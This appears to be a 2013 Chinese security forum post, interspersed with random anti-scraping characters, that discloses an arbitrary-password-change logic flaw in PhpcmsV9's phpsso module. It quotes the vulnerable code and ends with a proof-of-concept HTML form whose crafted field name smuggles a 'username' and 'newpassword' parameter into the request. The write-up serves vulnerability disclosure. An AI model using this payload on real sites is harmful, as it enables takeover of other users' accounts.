找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1950|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:
( O# a* c8 X( o7 W1 i5 p$ D$ D! L7 X' y% [! s5 s* T; B

2 H% L( T, m6 m, Yparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);7 \; D5 [: t& \1 h' b) X' v: Q

4 i8 W* t) M) m$ b5 F* {在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。4 _8 h" |3 ]3 E9 ?+ _* g

! z4 M5 o+ e/ _5 z! J我把它留给了你们。+ }! `- v  e+ `2 q/ s+ x8 Y7 }
不知道你们发现了它没有。6 T2 `9 u% L3 `  N2 ?

" \9 G3 W' U# b8 n我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
, C- r) f( N5 s3 a
) X4 z6 e3 o" G# n所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。. y2 S) v! d# Q: t2 |9 P
/ Y; S; V, w' \+ x5 F
也就是3 c: ?2 E% L; ^* l( J& Y) @5 u6 j
! N5 G2 F4 U7 M( s: `* b2 g: i: j
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。% J  z5 ?% O# d/ S6 p! @3 L1 a

* D: W! ^# \1 [! U: v要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。9 f  z3 A$ V1 K
" P7 S/ s2 Y0 V! |

/ _/ k9 X4 F  P" }- \& B9 D其实我们有这样的机会,看看代码,如下:4 k/ b, @5 Q3 A

/ Q1 ]/ \+ p2 W. T: X# J3 c+ ~
: ?: v7 H9 `! P! ?" ?; @% Vpublic function auth_data($data) {; D, j* z' d6 \) V9 _4 v
                $s = $sep = '';2 L, K" z7 w, p3 o6 X0 q5 g1 w
                foreach($data as $k => $v) {4 [6 K- v* F* r6 q8 M$ N; M
                        if(is_array($v)) {: s8 W0 N) X# i/ F
                                $s2 = $sep2 = '';
6 C6 r4 }$ p: s                                foreach($v as $k2 => $v2) {7 Y, z5 V% U# e: r! e
                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
0 E9 i) w; @" ]+ U+ v                                        $sep2 = '&';
! I0 _6 @) |9 k+ t                                }3 f7 W% ^6 \- e( {# j8 `+ q' {
                                $s .= $sep.$s2;5 P' \# w. n$ w! _. _; P- K
                        } else {
/ B& l* e6 m' ~3 \                                $s .= "$sep$k=".$this->_ps_stripslashes($v);
. G6 q6 B& ~- t; S                        }
; n! L) p0 V6 D! E5 I1 f7 f2 K                        $sep = '&';  I: N/ k9 p$ M
                }
8 Z4 t$ t; u) N0 m* T" P
! x) i- i4 \! G" i                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));/ t+ _0 T0 v1 {& l+ m5 T; d5 j3 ]
                return $auth_s;
' O( p5 F' T1 y6 W1 [9 h& v. E        }
* S7 _& @/ ]+ A+ S+ o+ q5 P
% G3 Y& q# k8 I( D5 B5 D2 o# x8 X可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
3 V; B1 B4 M4 r4 |
8 R( j/ `2 M( E  Y; `# r举个例子" O8 L6 w% v6 i
* Q# c3 @6 m0 `) r# }
$a[aaa=a&bbb] = 'a';5 D/ v' h! W/ t* Z

! H# Z' p1 x  X# p会变成aaa=a&bbb=a2 F# a5 D: |9 J& j. L) R

6 y' p+ S9 A9 S* W* e5 {7 ?明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。5 i( F7 o9 S" j
+ E3 }7 n6 L& ]- `. U. l7 x! B
这个时候,我们可以再去看一个函数。& R2 F' ^6 d( `+ U! s2 f

0 N- C5 g3 _9 W% S就在这个文件内:# v5 T8 Z4 D, g) T) D

4 z; K4 e$ j% e% Q( b1 L8 t( S! D  S, i. m
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {, B& I/ b7 G. Z7 O$ ^( a
                if($email && !$this->_is_email($email)) {
. E3 Z$ H; Y/ O' E* g                        return -4;: Q9 Y4 x: `  {$ V
                }
) n9 J: x: L) J- |- f8 H                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));7 |1 m. y1 e& E9 S- H  a% V
        }
6 }4 R: C: B( Y: A8 c, N. Q" W- ]# v
这是向通行证发了这样一个请求。, D. v" L3 W0 D

3 y) h; U: Q# N; V, m我们再跟到通信证代码里去看看,就会有所发现。6 J+ i4 U9 F+ s& v2 _( @; d

# i6 K) g/ S* O$ u; \2 z2 M' V: I+ r0 Q, P
public function edit() {9 \, ?  Z# _, }1 f, {4 v% E
//能省就省,太长了不是吗?
# F/ G/ u0 d/ D5 n3 u9 Z& m' R( D1 }, R/ a0 @% c7 [
if($this->username) {6 `2 O4 i! N1 l" B, G3 ?
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。- k* T( b% j6 F* ~" D' j
                                $res = $this->db->update($data, array('username'=>$this->username));( t4 }, _! \  \' v- o/ ^
                        } else {
9 ^" H: {* K# ^; o8 C4 C# t4 N                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);( I! L& v% e# V( }  F( h/ z9 n- O
                                $res = $this->db->update($data, array('uid'=>$this->uid));
- K2 I  b' T2 E8 ]2 n                        }
0 I, }7 S" u& A* C7 N3 G- p; ?% \3 K. }' r
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
" z! \3 N" I( M. H. o) Q6 ~" ]9 _  y" t
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
! F: N4 A9 T: O$ e2 o
; Z* m( u: e  d  B, y9 L很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
0 s# w6 P8 r3 x0 S/ Z5 k
; q7 K+ g4 w! h+ l3 @我当然找到了:0 X$ s( f6 ~2 C; u% q" i# @0 u
phpcms9/phpcms/modules/member/index.php
- Z: _( A  h/ P9 F* b( H! z# f! F" N* X0 u
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
9 [0 j' Z, P7 I+ _
" c4 g, v+ l5 K7 [: c然后就没有然后了。0 A! M: e0 H$ `1 W) d9 z. K

$ i" o0 w" V5 \; i* p+ B! k<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">3 J, c9 L# B7 B, q# n1 D4 w* ~
                                <table width="100%" cellspacing="0" class="table_form">
4 c2 G  T' Q% v- ^                                        <tr>0 O$ B. ^1 x7 A" V3 D' `$ q
                                                <th width="80">邮箱:</th>        
% _3 o5 {4 e/ S                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
6 B8 D! ]# a( X; j( l                                        </tr>
7 P/ T! L( N3 l; l% {9 p  P& C                                        <tr>
& R/ [% C3 E0 D7 ]. [# y1 H                                                <th width="80">原密码:</th>        
3 V$ J2 j# ?7 _$ G4 P! T3 I                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
- [3 o' P2 H! O2 k7 {; r1 g                                        </tr>$ ^* s5 Z6 X  i, D- p( L
                                        <tr>
# ?6 r4 X4 F: \                                                <th>新密码:</th>6 o$ W, R7 _0 A6 Q$ k) P
                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>( _/ E! C/ \7 V6 V/ f& W
                                        </tr>/ o& O4 ~/ Q3 O1 Y4 [+ R1 ~
                                        <th></th># J0 }/ ]) R4 b9 s, f6 R8 u% p
                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
  \' c/ g6 m+ ~% K                                        </tr>, F0 ?2 |0 v3 ?3 Z5 E$ |! O. j; Y
                                </table>
6 D1 B, E4 k" x- x8 l2 @% d9 N- K! d# R
                                ) N; i; t$ }' C$ z+ e+ |. x5 _
                        </form>9 }4 j0 N2 c  P* S
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表